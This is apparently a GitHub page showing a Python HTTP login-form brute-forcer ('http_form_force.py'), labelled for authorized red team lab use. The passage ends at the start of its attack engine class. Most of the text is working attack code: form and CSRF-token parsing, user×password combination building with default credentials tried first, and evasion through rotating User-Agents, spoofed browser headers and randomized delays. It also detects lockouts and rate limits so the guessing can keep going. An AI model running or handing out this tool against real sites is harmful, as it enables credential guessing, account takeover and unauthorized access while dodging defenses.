-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathhttp_form_force.py
More file actions
executable file
·1385 lines (1155 loc) · 55 KB
/
Copy pathhttp_form_force.py
File metadata and controls
executable file
·1385 lines (1155 loc) · 55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
http_force v3.3
HTTP login form brute-forcer for authorized red team lab use.
Usage:
python http_force.py -u http://target/login users.txt passwords.txt
python http_force.py -u http://target/login combos.txt --combo --threads 20 --follow
Features:
- Sequential and concurrent (thread-safe) attack modes
- Per-thread HTTP sessions and CSRF tokens (no false positives)
- HTTP status gating: 4xx/5xx never score as success
- Score-based response analysis (status, length, hash, cookies, keywords)
- Rotating User-Agents and realistic browser headers
- Auto-throttling on consecutive errors
- 2FA/MFA detection
- Rate-limit / block detection
- Priority ordering of credentials
- Results saved to JSON
Requirements:
pip install requests beautifulsoup4 urllib3
"""
from __future__ import annotations
import argparse
import hashlib
import json
import logging
import random
import re
import sys
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field, asdict
from datetime import datetime, timezone
from enum import Enum
from pathlib import Path
from typing import Dict, List, Optional, Tuple, Set, Any
from urllib.parse import urljoin
import warnings
import requests
from bs4 import BeautifulSoup
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
warnings.filterwarnings('ignore', message='Unverified HTTPS request')
class HttpMethod(Enum):
GET = "get"
POST = "post"
class LogLevel(Enum):
DEBUG = logging.DEBUG
INFO = logging.INFO
WARNING = logging.WARNING
ERROR = logging.ERROR
CRITICAL = logging.CRITICAL
USER_AGENTS_POOL = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
]
REALISTIC_HEADERS = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9,es;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"DNT": "1",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Sec-CH-UA": '"Not_A Brand";v="8", "Chromium";v="120"',
"Sec-CH-UA-Mobile": "?0",
"Sec-CH-UA-Platform": '"Windows"',
}
HIGH_PRIORITY_COMBOS = [
("admin", "admin"), ("admin", "password"), ("admin", "123456"),
("admin", "admin123"), ("root", "root"), ("root", "toor"),
("administrator", "administrator"), ("user", "user"),
("guest", "guest"), ("test", "test"), ("admin", ""), ("root", ""),
]
TOP_PASSWORDS = [
"password", "123456", "123456789", "12345678", "12345", "1234567",
"admin", "password123", "qwerty", "abc123", "letmein", "welcome",
"monkey", "dragon", "master", "123123", "1234", "admin123", "root", "pass",
]
DEFAULT_CONFIG = {
"user_agent": "ROTATING",
"timeout": 10,
"max_retries": 3,
"backoff_factor": 0.3,
"delay_between_attempts": 0.5,
"delay_randomization": 0.3,
"max_workers": 5,
"verify_ssl": True,
"follow_redirects": True,
"rotate_user_agents": True,
"use_realistic_headers": True,
"randomize_delays": True,
"session_persistence": True,
"enable_auto_throttling": True,
"rate_limit_detection": True,
"consecutive_errors_threshold": 5,
"throttle_backoff_multiplier": 2.0,
# Keywords used to score responses. Config values EXTEND (not replace) the
# built-in regex patterns, so you only need to add terms not already covered.
"success_keywords": [
"dashboard", "logout", "log out", "sign out", "bienvenido", "bienvenida",
"welcome", "welcome back", "profile", "perfil", "mi cuenta", "my account",
"admin panel", "panel de control", "administration", "administración",
"sesión iniciada", "logged in", "signed in", "login successful",
"successfully logged", "authentication successful", "autenticación exitosa",
"access granted", "home", "inicio", "settings", "configuración",
"preferences", "preferencias", "notifications", "notificaciones",
"inbox", "messages", "mensajes", "bandeja de entrada",
"success", "successful", "exitoso", "exitosa",
],
"fail_keywords": [
"invalid", "inválido", "error", "incorrect", "incorrecto", "wrong",
"try again", "intenta de nuevo", "intente nuevamente", "falló", "fallo",
"failed", "failure", "unauthorized", "no autorizado", "denied", "denegado",
"access denied", "acceso denegado", "authentication failed",
"autenticación fallida", "login failed", "inicio de sesión fallido",
"invalid username", "usuario inválido", "invalid password",
"contraseña inválida", "invalid credentials", "credenciales inválidas",
"wrong username", "usuario incorrecto", "wrong password",
"contraseña incorrecta", "incorrect username", "incorrect password",
"bad credentials", "malas credenciales", "authentication error",
"login error", "could not authenticate", "no se pudo autenticar",
"account not found", "cuenta no encontrada", "user not found",
"usuario no encontrado", "does not exist", "no existe",
"invalid combination", "combinación inválida", "forbidden", "prohibido",
"not allowed", "no permitido",
],
"block_keywords": [
"rate limit", "rate-limit", "ratelimit", "too many", "too many attempts",
"too many requests", "demasiados intentos", "blocked", "bloqueado",
"banned", "baneado", "captcha", "recaptcha", "hcaptcha",
"temporarily locked", "temporalmente bloqueado", "account locked",
"cuenta bloqueada", "ip locked", "abuse", "abuso",
"suspicious activity", "actividad sospechosa", "rate exceeded",
"límite excedido", "throttled", "slow down", "please wait",
"por favor espera", "try again later", "intenta más tarde",
],
# Field name matching for form detection.
# These lists EXTEND the built-in regex — add custom field names here.
"user_field_names": [
"username", "user", "usuario", "email", "e-mail", "correo",
"login", "user_name", "user-name", "userid", "user_id", "user-id",
"login_name", "login-name", "loginname", "account", "cuenta",
"account_name", "accountname", "nombre", "name", "uname",
"uid", "identifier", "identificador",
],
"pass_field_names": [
"password", "pass", "pwd", "passwd", "passcode", "pass_code",
"pass-code", "contraseña", "contrasena", "clave", "secret", "pin",
"password1", "password_1", "user_password", "userpassword",
"user-password", "login_password", "loginpassword", "login-password",
],
"csrf_field_names": [
"csrf_token", "csrf-token", "_token", "authenticity_token",
"__requestverificationtoken", "nonce", "_wpnonce", "form_token",
"form-token", "csrfmiddlewaretoken", "xsrf_token", "xsrf-token",
"_csrf", "anti_csrf", "request_token",
],
# URL path fragments that indicate a successful post-login redirect.
# These EXTEND the built-in list.
"authenticated_paths": [
"dashboard", "admin", "panel", "home", "account", "profile",
"portal", "welcome", "inicio", "mi-cuenta", "perfil",
"control", "manage", "overview", "console", "workspace",
],
"score_thresholds": {
"status_change": 2,
"length_change": 2,
"hash_change": 2,
"cookies_change": 3,
"success_keywords": 5,
"fail_keywords": -5,
"login_form_present": -10,
"min_success_score": 4,
},
}
class RegexPatterns:
"""Pre-compiled regex patterns. All patterns are compiled once at import time and are thread-safe."""
USERNAME_FIELD = re.compile(
r'\b(?:user(?:_?name)?|login(?:_?name)?|email(?:_?addr(?:ess)?)?'
r'|account(?:_?name)?|userid|uid|usr|usuario|correo|identificador)\b',
re.IGNORECASE,
)
PASSWORD_FIELD = re.compile(
r'\b(?:pass(?:word|wd|code|phrase)?|pwd|clave|contrase[ñn]a|secret|pin)\b',
re.IGNORECASE,
)
CSRF_FIELD = re.compile(
r'\b(?:csrf[_\-]?token|_token|authenticity[_\-]?token'
r'|__requestverificationtoken|nonce|_wpnonce|form[_\-]?token)\b',
re.IGNORECASE,
)
SUCCESS_PATTERN = re.compile(
r'\b(?:dashboard|logout|sign[\s\-]?out|log[\s\-]?out'
r'|bienvenid[oa]|welcome(?:\s+back)?|profile|my[\s\-]?account'
r'|admin[\s\-]?panel|panel[\s\-]?de[\s\-]?control'
r'|signed[\s\-]?in|logged[\s\-]?in|login[\s\-]?successful'
r'|successfully[\s\-]?authenticated|access[\s\-]?granted)\b',
re.IGNORECASE,
)
FAIL_PATTERN = re.compile(
r'\b(?:invalid[\s\-]?(?:user(?:name)?|password|credentials?)'
r'|incorrect[\s\-]?(?:user(?:name)?|password)'
r'|wrong[\s\-]?(?:user(?:name)?|password)'
r'|(?:login|auth(?:entication)?)[\s\-]?(?:failed?|error|denied)'
r'|bad[\s\-]?credentials?|unauthorized|access[\s\-]?denied'
r'|contrase[ñn]a[\s\-]?incorrecta|usuario[\s\-]?incorrecto'
r'|try[\s\-]?again|too[\s\-]?many[\s\-]?attempts?)\b',
re.IGNORECASE,
)
BLOCK_PATTERN = re.compile(
r'\b(?:rate[\s\-]?limit(?:ed)?|too[\s\-]?many[\s\-]?requests?'
r'|(?:account|ip)[\s\-]?(?:blocked|banned|locked|suspended)'
r'|captcha|recaptcha|hcaptcha'
r'|temporarily[\s\-]?(?:locked|unavailable|blocked)'
r'|suspicious[\s\-]?activity|abuse[\s\-]?detected'
r'|rate[\s\-]?exceeded|slow[\s\-]?down)\b',
re.IGNORECASE,
)
MFA_PATTERN = re.compile(
r'\b(?:two[\s\-]?(?:factor|step)[\s\-]?auth(?:entication)?'
r'|2fa|mfa|otp|one[\s\-]?time[\s\-]?(?:password|code|token)'
r'|verification[\s\-]?code|authenticator|totp)\b',
re.IGNORECASE,
)
META_REFRESH = re.compile(
r'<meta[^>]+http-equiv=["\']refresh["\'][^>]+content=["\']'
r'\d+;\s*url=([^"\'>\s]+)',
re.IGNORECASE,
)
JS_REDIRECT = re.compile(
r'(?:window|document|top|self|parent)\s*\.\s*location'
r'(?:\s*\.\s*(?:href|replace|assign))?\s*=\s*["\']([^"\']+)["\']',
re.IGNORECASE,
)
AUTHENTICATED_PATH = re.compile(
r'/(dashboard|admin|panel|home|account|profile|portal'
r'|welcome|inicio|inicio[-_]sesion|mi[-_]cuenta|perfil)',
re.IGNORECASE,
)
EMAIL = re.compile(r'^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$')
URL = re.compile(r'^https?://[^\s/$.?#].[^\s]*$', re.IGNORECASE)
@dataclass
class FormData:
"""Parsed login form metadata extracted from the target page."""
action_url: str
method: HttpMethod
username_field: Optional[str] = None
password_field: Optional[str] = None
hidden_fields: Dict[str, str] = field(default_factory=dict)
csrf_tokens: Dict[str, str] = field(default_factory=dict)
def is_valid(self) -> bool:
return bool(self.username_field and self.password_field)
@dataclass
class Credential:
"""A username/password pair with an optional priority score."""
username: str
password: str
priority: int = 0
def __str__(self) -> str:
return f"{self.username}:{self.password}"
def __hash__(self):
return hash((self.username, self.password))
def __eq__(self, other):
if not isinstance(other, Credential):
return False
return self.username == other.username and self.password == other.password
@dataclass
class AttemptResult:
"""Result of a single authentication attempt."""
credential: Credential
success: bool
status_code: int
response_length: int
response_hash: str
cookies: Dict[str, str]
elapsed_time: float
score: int
timestamp: datetime = field(default_factory=lambda: datetime.now(timezone.utc))
redirect_location: Optional[str] = None
error_message: Optional[str] = None
is_blocked: bool = False
has_mfa: bool = False
def to_dict(self) -> Dict[str, Any]:
d = asdict(self)
d['credential'] = str(self.credential)
d['timestamp'] = self.timestamp.isoformat()
return d
@dataclass
class AttackStatistics:
"""Running counters for the current attack."""
total_attempts: int = 0
successful_attempts: int = 0
failed_attempts: int = 0
errors: int = 0
blocked_attempts: int = 0
consecutive_errors: int = 0
current_delay: float = 0.5
start_time: datetime = field(default_factory=lambda: datetime.now(timezone.utc))
end_time: Optional[datetime] = None
tested_credentials: Set[str] = field(default_factory=set)
def add_attempt(self, result: AttemptResult):
self.total_attempts += 1
if result.success:
self.successful_attempts += 1
self.consecutive_errors = 0
else:
self.failed_attempts += 1
if result.error_message:
self.errors += 1
self.consecutive_errors += 1
else:
self.consecutive_errors = 0
if result.is_blocked:
self.blocked_attempts += 1
self.tested_credentials.add(str(result.credential))
def get_duration(self) -> float:
end = self.end_time or datetime.now(timezone.utc)
return (end - self.start_time).total_seconds()
def get_rate(self) -> float:
duration = self.get_duration()
return self.total_attempts / duration if duration > 0 else 0
def to_dict(self) -> Dict[str, Any]:
return {
'total_attempts': self.total_attempts,
'successful': self.successful_attempts,
'failed': self.failed_attempts,
'errors': self.errors,
'blocked': self.blocked_attempts,
'duration_seconds': self.get_duration(),
'rate_per_second': self.get_rate(),
'start_time': self.start_time.isoformat(),
'end_time': self.end_time.isoformat() if self.end_time else None,
}
class ColoredFormatter(logging.Formatter):
"""Logging formatter that adds ANSI color codes by level."""
COLORS = {
'DEBUG': '\033[36m',
'INFO': '\033[32m',
'WARNING': '\033[33m',
'ERROR': '\033[31m',
'CRITICAL': '\033[35m',
'RESET': '\033[0m',
}
def format(self, record):
color = self.COLORS.get(record.levelname, self.COLORS['RESET'])
record.levelname = f"{color}{record.levelname}{self.COLORS['RESET']}"
return super().format(record)
def setup_logger(name: str, level: LogLevel = LogLevel.INFO,
log_file: Optional[Path] = None) -> logging.Logger:
"""Creates and returns a logger with colored console output and optional file handler."""
logger = logging.getLogger(name)
logger.setLevel(level.value)
logger.handlers.clear()
console = logging.StreamHandler(sys.stdout)
console.setLevel(level.value)
console.setFormatter(ColoredFormatter('%(asctime)s | %(levelname)s | %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'))
logger.addHandler(console)
if log_file:
fh = logging.FileHandler(log_file, encoding='utf-8')
fh.setLevel(logging.DEBUG)
fh.setFormatter(logging.Formatter(
'%(asctime)s | %(levelname)-8s | %(name)s | %(message)s',
datefmt='%Y-%m-%d %H:%M:%S',
))
logger.addHandler(fh)
return logger
def load_config(config_path: Optional[Path] = None) -> Dict[str, Any]:
"""
Returns DEFAULT_CONFIG merged with an optional JSON override file.
Nested dicts (e.g. score_thresholds) are merged key-by-key so you only
need to specify the keys you want to change, not the entire sub-object.
Keys starting with '_' are ignored (treated as comments/docs).
"""
import copy
config = copy.deepcopy(DEFAULT_CONFIG)
if config_path and config_path.exists():
try:
with open(config_path, 'r', encoding='utf-8') as f:
custom = json.load(f)
for key, value in custom.items():
if key.startswith('_'):
continue # skip comment/doc keys
if isinstance(value, dict) and isinstance(config.get(key), dict):
config[key].update(value) # deep merge for nested dicts
else:
config[key] = value
except Exception as e:
print(f"[!] Error loading config: {e}. Using defaults.")
return config
def get_random_user_agent() -> str:
return random.choice(USER_AGENTS_POOL)
def get_random_delay(base: float, randomization: float = 0.3) -> float:
"""Returns base ± randomization% as a uniform random value."""
return random.uniform(base * (1 - randomization), base * (1 + randomization))
class CredentialOrganizer:
"""Sorts credentials by estimated probability of success."""
def __init__(self, logger: logging.Logger):
self.logger = logger
def prioritize_credentials(self, credentials: List[Credential]) -> List[Credential]:
"""
Splits credentials into three buckets and returns them in order:
known high-value combos first, then common users/passwords, then the rest.
The medium and low buckets are shuffled to avoid predictable patterns.
"""
high, medium, low = [], [], []
high_set = {(u.lower(), p.lower()) for u, p in HIGH_PRIORITY_COMBOS}
common_users = {"admin", "root", "administrator", "user"}
for cred in credentials:
if (cred.username.lower(), cred.password.lower()) in high_set:
cred.priority = 100
high.append(cred)
elif cred.password in TOP_PASSWORDS or cred.username in common_users:
cred.priority = 50
medium.append(cred)
else:
cred.priority = 10
low.append(cred)
random.shuffle(medium)
random.shuffle(low)
self.logger.info("[+] Credenciales ordenadas:")
self.logger.info(f" Alta prioridad: {len(high)}")
self.logger.info(f" Media prioridad: {len(medium)}")
self.logger.info(f" Baja prioridad: {len(low)}")
return high + medium + low
class CredentialLoader:
"""Loads credentials from text files and generates user×password combinations."""
def __init__(self, logger: logging.Logger):
self.logger = logger
self.organizer = CredentialOrganizer(logger)
def load_from_file(self, filepath: Path) -> List[str]:
"""Reads non-empty, non-comment lines from a file."""
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
items = [l.strip() for l in f if l.strip() and not l.startswith('#')]
self.logger.info(f"Cargados {len(items)} items desde {filepath.name}")
return items
except FileNotFoundError:
self.logger.error(f"Archivo no encontrado: {filepath}")
return []
except Exception as e:
self.logger.error(f"Error leyendo {filepath}: {e}")
return []
def load_combos(self, filepath: Path) -> List[Credential]:
"""Parses a file of user:pass lines into a prioritized credential list."""
credentials = []
for line in self.load_from_file(filepath):
if ':' in line:
parts = line.split(':', 1)
credentials.append(Credential(parts[0], parts[1]))
return self.organizer.prioritize_credentials(credentials)
def generate_credentials(self, usernames: List[str],
passwords: List[str]) -> List[Credential]:
"""Builds all user×password combinations and applies priority ordering."""
credentials = [Credential(u, p) for u in usernames for p in passwords]
self.logger.info(
f"Generadas {len(credentials)} combinaciones "
f"({len(usernames)} users × {len(passwords)} passwords)"
)
return self.organizer.prioritize_credentials(credentials)
class FormAnalyzer:
"""
Parses HTML pages to locate and extract login form fields.
Field detection combines pre-compiled regex (RegexPatterns) with the
explicit name lists from config (user_field_names, pass_field_names,
csrf_field_names). Config lists take priority for exact matches;
regex acts as a catch-all for names not in the lists.
"""
def __init__(self, config: Dict[str, Any], logger: logging.Logger):
self.config = config
self.logger = logger
# Build lowercase sets for O(1) exact-match lookup
self._user_fields = {n.lower() for n in config.get('user_field_names', [])}
self._pass_fields = {n.lower() for n in config.get('pass_field_names', [])}
self._csrf_fields = {n.lower() for n in config.get('csrf_field_names', [])}
def find_login_form(self, html: str, base_url: str) -> Optional[FormData]:
"""Returns the first valid login form found in the HTML, or None."""
try:
soup = BeautifulSoup(html, 'html.parser')
for form in soup.find_all('form'):
fd = self._analyze_form(form, base_url)
if fd and fd.is_valid():
return fd
except Exception as e:
self.logger.error(f"Error analizando formulario: {e}")
return None
def _is_csrf_field(self, name: str) -> bool:
return name.lower() in self._csrf_fields or bool(RegexPatterns.CSRF_FIELD.search(name))
def _is_password_field(self, name: str, kind: str) -> bool:
return (
kind == 'password'
or name.lower() in self._pass_fields
or bool(RegexPatterns.PASSWORD_FIELD.search(name))
)
def _is_username_field(self, name: str) -> bool:
return (
name.lower() in self._user_fields
or bool(RegexPatterns.USERNAME_FIELD.search(name))
)
def _analyze_form(self, form, base_url: str) -> Optional[FormData]:
"""Extracts action URL, method, and field names from a single <form> element."""
try:
action = form.get('action', '')
action_url = urljoin(base_url, action) if action else base_url
method = HttpMethod.POST if form.get('method', 'post').lower() == 'post' else HttpMethod.GET
fd = FormData(action_url=action_url, method=method)
for inp in form.find_all('input'):
name = inp.get('name', '')
kind = inp.get('type', 'text').lower()
value = inp.get('value', '')
if not name:
continue
if self._is_csrf_field(name):
fd.hidden_fields[name] = value
fd.csrf_tokens[name] = value
self.logger.debug(f"CSRF token encontrado: {name}")
elif self._is_password_field(name, kind):
fd.password_field = name
self.logger.debug(f"Campo password encontrado: {name}")
elif self._is_username_field(name):
fd.username_field = name
self.logger.debug(f"Campo usuario encontrado: {name}")
elif kind == 'hidden':
fd.hidden_fields[name] = value
return fd
except Exception as e:
self.logger.error(f"Error en _analyze_form: {e}")
return None
class EvasiveHttpClient:
"""
HTTP client with evasion techniques.
Each thread gets its own requests.Session via threading.local().
This prevents session cookies from leaking between threads,
which would cause false positives when one thread logs in successfully.
"""
def __init__(self, config: Dict[str, Any], logger: logging.Logger):
self.config = config
self.logger = logger
self._local = threading.local()
def _create_session(self) -> requests.Session:
session = requests.Session()
retry = Retry(
total=self.config['max_retries'],
backoff_factor=self.config['backoff_factor'],
status_forcelist=[429, 500, 502, 503, 504],
allowed_methods=["HEAD", "GET", "POST", "PUT", "DELETE", "OPTIONS", "TRACE"],
)
adapter = HTTPAdapter(max_retries=retry, pool_connections=10, pool_maxsize=20)
session.mount("http://", adapter)
session.mount("https://", adapter)
return session
def _get_session(self) -> requests.Session:
"""Returns the session belonging to the calling thread, creating it if needed."""
if not hasattr(self._local, 'session'):
self._local.session = self._create_session()
return self._local.session
def get_headers(self) -> Dict[str, str]:
headers = REALISTIC_HEADERS.copy() if self.config.get('use_realistic_headers', True) else {}
if self.config.get('rotate_user_agents', True):
headers['User-Agent'] = get_random_user_agent()
else:
ua = self.config.get('user_agent', USER_AGENTS_POOL[0])
headers['User-Agent'] = ua if ua != "ROTATING" else get_random_user_agent()
return headers
def request(self, method: str, url: str, **kwargs) -> requests.Response:
headers = self.get_headers()
if 'headers' in kwargs:
headers.update(kwargs['headers'])
kwargs['headers'] = headers
kwargs.setdefault('verify', self.config.get('verify_ssl', True))
kwargs.setdefault('timeout', self.config.get('timeout', 10))
kwargs.setdefault('allow_redirects', self.config.get('follow_redirects', True))
return self._get_session().request(method, url, **kwargs)
def close(self):
if hasattr(self._local, 'session'):
self._local.session.close()
del self._local.session
class ResponseAnalyzer:
"""
Scores HTTP responses to decide whether a login attempt succeeded.
Scoring is based on deviations from a baseline (captured before the attack):
status code change, body length/hash change, new cookies, keyword presence,
disappearance of the login form, and post-login URL path.
Keyword patterns are compiled at init time by merging the built-in regex
with any extra terms supplied via config (success_keywords, fail_keywords,
block_keywords, authenticated_paths). Config values EXTEND the base
patterns — they are not replacements.
Hard gates applied before scoring:
- HTTP 429 → rate-limit, stop attack
- HTTP 403/405/406/423/451 → definitive reject, score -50
- HTTP 5xx → server error, score -10
"""
def __init__(self, config: Dict[str, Any], logger: logging.Logger):
self.config = config
self.logger = logger
self.baseline_response = None
# Build runtime patterns that merge base regex + config keyword lists
self._success_re = self._build_pattern(
RegexPatterns.SUCCESS_PATTERN,
config.get('success_keywords', []),
)
self._fail_re = self._build_pattern(
RegexPatterns.FAIL_PATTERN,
config.get('fail_keywords', []),
)
self._block_re = self._build_pattern(
RegexPatterns.BLOCK_PATTERN,
config.get('block_keywords', []),
)
self._authenticated_path_re = self._build_path_pattern(
config.get('authenticated_paths', []),
)
@staticmethod
def _build_pattern(base_pattern: re.Pattern, extra_keywords: List[str]) -> re.Pattern:
"""
Returns a new pattern that matches everything the base pattern matches
PLUS any extra keywords from the config list.
Extra keywords are escaped and joined as literal word alternatives.
"""
if not extra_keywords:
return base_pattern
extras = '|'.join(re.escape(kw) for kw in extra_keywords if kw.strip())
combined = f'(?:{base_pattern.pattern})|(?:{extras})'
return re.compile(combined, re.IGNORECASE)
@staticmethod
def _build_path_pattern(extra_paths: List[str]) -> re.Pattern:
"""
Builds the authenticated-path regex from the base list + config extras.
"""
base_paths = [
'dashboard', 'admin', 'panel', 'home', 'account', 'profile',
'portal', 'welcome', 'inicio', 'inicio[-_]sesion',
'mi[-_]cuenta', 'perfil',
]
all_paths = base_paths + [re.escape(p) for p in extra_paths if p.strip()]
pattern = r'/(' + '|'.join(all_paths) + r')'
return re.compile(pattern, re.IGNORECASE)
def set_baseline(self, response: requests.Response):
"""Captures the unauthenticated page state for later comparison."""
self.baseline_response = {
'status': response.status_code,
'length': len(response.text),
'hash': hashlib.md5(response.text.encode()).hexdigest(),
'cookies': len(response.cookies),
'has_login_form': self._has_login_form(response.text),
}
self.logger.debug(f"Baseline establecido: {self.baseline_response}")
def _has_login_form(self, html: str) -> bool:
try:
soup = BeautifulSoup(html, 'html.parser')
for form in soup.find_all('form'):
if any(i.get('type', '').lower() == 'password' for i in form.find_all('input')):
return True
except Exception:
pass
return False
def _check_redirect_success(self, response: requests.Response) -> bool:
"""Returns True if the final URL after redirects looks like an authenticated area."""
return bool(self._authenticated_path_re.search(response.url))
def analyze_response(self, response: requests.Response,
elapsed: float) -> Tuple[int, bool, bool]:
"""
Returns (score, is_blocked, has_mfa).
A score >= config['score_thresholds']['min_success_score'] is treated as success.
"""
score = 0
status = response.status_code
text = response.text
if status == 429:
self.logger.warning("[!] RATE LIMIT detectado (HTTP 429)")
return -100, True, False
if status in (403, 405, 406, 423, 451):
self.logger.debug(f"HTTP {status} → fallo definitivo")
return -50, False, False
if status >= 500:
self.logger.debug(f"HTTP {status} → error de servidor")
return -10, False, False
if self._block_re.search(text):
kw = self._block_re.search(text).group(0)
self.logger.warning(f"[!] BLOQUEO DETECTADO: '{kw}'")
return -100, True, False
has_mfa = bool(RegexPatterns.MFA_PATTERN.search(text))
if has_mfa:
self.logger.info("[~] 2FA/MFA detectado")
th = self.config['score_thresholds']
if self.baseline_response:
if status != self.baseline_response['status']:
score += th['status_change']
cur_len = len(text)
base_len = self.baseline_response['length']
if abs(cur_len - base_len) > base_len * 0.1:
score += th['length_change']
if hashlib.md5(text.encode()).hexdigest() != self.baseline_response['hash']:
score += th['hash_change']
if len(response.cookies) > self.baseline_response['cookies']:
score += th['cookies_change']
has_form_now = self._has_login_form(text)
if self.baseline_response['has_login_form'] and not has_form_now:
score += abs(th['login_form_present'])
elif has_form_now:
score += th['login_form_present']
success_hits = self._success_re.findall(text)
if success_hits:
score += th['success_keywords'] * len(success_hits)
self.logger.debug(f"Keywords éxito: {success_hits[:5]}")
fail_hits = self._fail_re.findall(text)
if fail_hits:
score += th['fail_keywords'] * len(fail_hits)
self.logger.debug(f"Keywords fallo: {fail_hits[:5]}")
if self._check_redirect_success(response):
score += 3
if has_mfa:
score += 6
return score, False, has_mfa
class BruteForceEngine:
"""
Orchestrates the brute-force attack in sequential or concurrent mode.
Thread-safety notes:
- _stats_lock protects AttackStatistics and found_credentials (concurrent writes).
- _csrf_lock protects reads of shared FormData fields.
